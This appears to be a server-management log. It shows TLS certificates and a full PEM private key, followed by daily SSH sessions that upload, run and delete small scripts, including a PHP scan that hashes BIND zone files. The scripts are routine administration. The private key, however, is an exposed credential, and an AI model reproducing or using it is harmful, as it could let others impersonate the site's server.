nTUF1gyMqWU0tdmG5olCmyNR3/5Jhvp+zuQBqGDintOEwfgjq8BCz1EPaXKMX9ZX
A6ycnSieNlIdf5ynKjjqoOahSsVrvvGp/urmd4ibhH36PDa6d3SM4R7mhmGufXHL
7feTuv4/wkU0hK8DQazRgf2lPD44Gg2pMkBRnO9lzw4ML+FJf9CKtvhY4nx4iCfv
XzO386LiBoLkOT95PCPqM9Cm8xjZnKFDaisxXwlsktL2ESmdtuNr6Pp+wh1e3eeA
eo2Zu8K20Z/Zo1PKhQSh1iumMC8a+c9sp0yCasPjOQIDAQABo4ICLjCCAiowDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQ6ujxPylAnFVvDGLaJi6TVfC05xDAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMTEuY3JsMIIB
BQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGaUpoQQAAABAMASDBGAiEA95TXwtfp0hGFxJjpuZFUo+GygDxC
CFDlZS9ve2rSO20CIQDRgA+03NnSlLjpJlthZtA1OhWnKYHtM5W73hztgbxzpQB2
AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmlKaF8IAAAQDAEcw
RQIgDQnchpaxPamnPzOvMF+UW7vxlcfxsv9USaVoQ6QjzR4CIQDDLdSJFU4cR83i
pji8b1RSLQ9OpYJhnrm19G+TbYcs0jANBgkqhkiG9w0BAQsFAAOCAQEABOHWkeT/
ZrgZw5Rt0QSy+/X7w0P8I9niH2LBIMFO4+g4BQDZqgbDHxwhWR32Vli7VnEGcq/k
XtqrAgCzxlXavmnKYmu5CfMi6MGYBlxRnUzM/sFw/GNUkGbIUH2DeK4aCO5LMFIR
XWwJ+u6SS3o3RhIhvG/YVMlpxXrzX3TQ5USDLPdSYCC+ytYWlTHgDBa7HgIlvQgw
Top1Lu+g8cGbJJp7WBqFHGkSWJyXU/FPpL1NETtlPagi/QaIyK3tXSmuRQ30RsRw
Gb5OTZETs2V5WKDj9xza8aJW+5hZfGmGuy2YWIUK+JDfLMWWPNo1/ReR9NF6/y65
BEs71iL9J434oA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDMenTJKgt/Owil
Y5RA5C2Zc922FDrek+Ivz1g2lYdzmBKdNQXWDIypZTS12YbmiUKbI1Hf/kmG+n7O
5AGoYOKe04TB+COrwELPUQ9pcoxf1lcDrJydKJ42Uh1/nKcqOOqg5qFKxWu+8an+
6uZ3iJuEffo8Nrp3dIzhHuaGYa59ccvt95O6/j/CRTSErwNBrNGB/aU8PjgaDaky
QFGc72XPDgwv4Ul/0Iq2+FjifHiIJ+9fM7fzouIGguQ5P3k8I+oz0KbzGNmcoUNq
KzFfCWyS0vYRKZ2242vo+n7CHV7d54B6jZm7wrbRn9mjU8qFBKHWK6YwLxr5z2yn
TIJqw+M5AgMBAAECggEBAJih7/sZP2vBjTqnkkq+CKu7KYx4nVj32qcFhzt3cpx+
r6ZZpfmZdIYd3bLApUoAu49CViN1lT0ETxPwbqxZZdBY44hGyZmy8iv+vhpgPxhq
zpkXh/BoGXFC6nIPZVjHE5z3iv5dT4hArDx064PenPfRcbDwyU/R2DdS8ZDt6WoI
6ULu/d/ufqWvLBEygY47wV6kjj4lg9vJbzhPJOAoypKl+zBrZKGgdCAP/VV/43CJ
b5UuG7rf+X/GWUN/arwY3BxM6w9y9dKmuC9mdA2LCrisApnZuDXfxzoZcWLpKEne
GPIQyP/C9iaI0jSn88A1oOy83Qk6yqBcjG108MX8YWECgYEA9odbu6AmnAF2jqKs
xBBPF/nzULLrfXVXql4RDiVQ409EZIUdxBUsZ93e5QvHJnPeLUcb4UMcsRteztab
0VbDMaMdQQRm4AxoSG6kWpEQZczygXyG0MXfBPXMN+BDQSqFlBsxXheK4eBPegk+
cjBClXwI3PZJYawWByRigEtRvIsCgYEA1FWG3a2t6I5fR6T6Z2DwIEuu1MtdhQIq
h6HUmatgKNmKs9Do1nCEdOY5KEluUFxPnllp2JF7vnaCBYJTtE+xuivCuU2co2tQ
/uLADKm5GSx+JBY5oHEfNeALmFPLEevIOZHBfJHxzcao3uHpQoTaUtbRuj+s74sP
RuXqemIxQ8sCgYEA60+6PLYaBFDVNEKMO70BcfZPzBhr9N17Zw/Qobr2oXG462Ww
SsiXETFTHzeFyOtSB8/XCcYAbgCdFzr7ke6J9CgotTWZaIQPSgvp7tSGXVUpqHUP
TdmBDX/8hN0X9Oy8gekOzywTkZSE6AxIwb/U3lB9OUQQOR2EDR8qsiCyjQ8CgYEA
yP6Q5MTkS7CBptsXocZUZ+3ceFhtlVugkLVy/2gHZYPP1TlbPqpR6CqKToV8JBvN
zlJLbJMCtR+PItHklFmgHmAQOsKqFNOgXzabnyEGMzs3yMc1E5gheCk2MKKZJsSv
yzcbFeU9JJH6BsmIucvystngu9JMzJAxDObVF7ZddhMCgYEAuQDV2q95yysDj2p1
iX1wPy0RPs3DcC5gl1kXHnVWAYpX/2744NlrnW6o4nRvaxhIgZbfsGuxClTGOvIs
UlJjclCVJSlk/QxUEmy5jOg5mE0WgQHtx8k4I5ij7LDqVGSX2f2AfqBfGgjesfo9
ahgPEQXrfe7iwhuhgVGmvebWDTY=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-05 06:00:23: Establishing a connection
2025-11-05 06:00:24: Establishing a connection
2025-11-05 06:00:25:
PUT: /tmp/pkp255844
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-05 06:00:26:
chmod 755 /tmp/pkp255844; /tmp/pkp255844; rm /tmp/pkp255844
2025-11-05 06:00:26:
0
2025-11-05 06:00:26: Establishing a remote connection
2025-11-06 06:00:02: Establishing a connection
2025-11-06 06:00:04: Establishing a connection
2025-11-06 06:00:05:
PUT: /tmp/pkp188026
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-06 06:00:06:
chmod 755 /tmp/pkp188026; /tmp/pkp188026; rm /tmp/pkp188026
2025-11-06 06:00:06:
0
2025-11-06 06:00:06: Establishing a remote connection
2025-11-07 06:00:02: Establishing a connection
2025-11-07 06:00:04: Establishing a connection
2025-11-07 06:00:05:
PUT: /tmp/pkp895866
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-07 06:00:05:
chmod 755 /tmp/pkp895866; /tmp/pkp895866; rm /tmp/pkp895866
2025-11-07 06:00:06:
0
2025-11-07 06:00:06: Establishing a remote connection
2025-11-08 06:00:01: Establishing a connection
2025-11-08 06:00:03: Establishing a connection
2025-11-08 06:00:04:
PUT: /tmp/pkp338987
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-08 06:00:05:
chmod 755 /tmp/pkp338987; /tmp/pkp338987; rm /tmp/pkp338987
2025-11-08 06:00:05:
0
2025-11-08 06:00:05: Establishing a remote connection
2025-11-08 19:10:49: Establishing a connection
2025-11-08 19:11:55: Establishing a connection
2025-11-08 19:11:55:
PUT: /tmp/pkp157917
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-08 19:11:56:
runuser -l bind -s /bin/bash -c '/tmp/pkp157917; rm /tmp/pkp157917'
2025-11-08 19:11:56:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
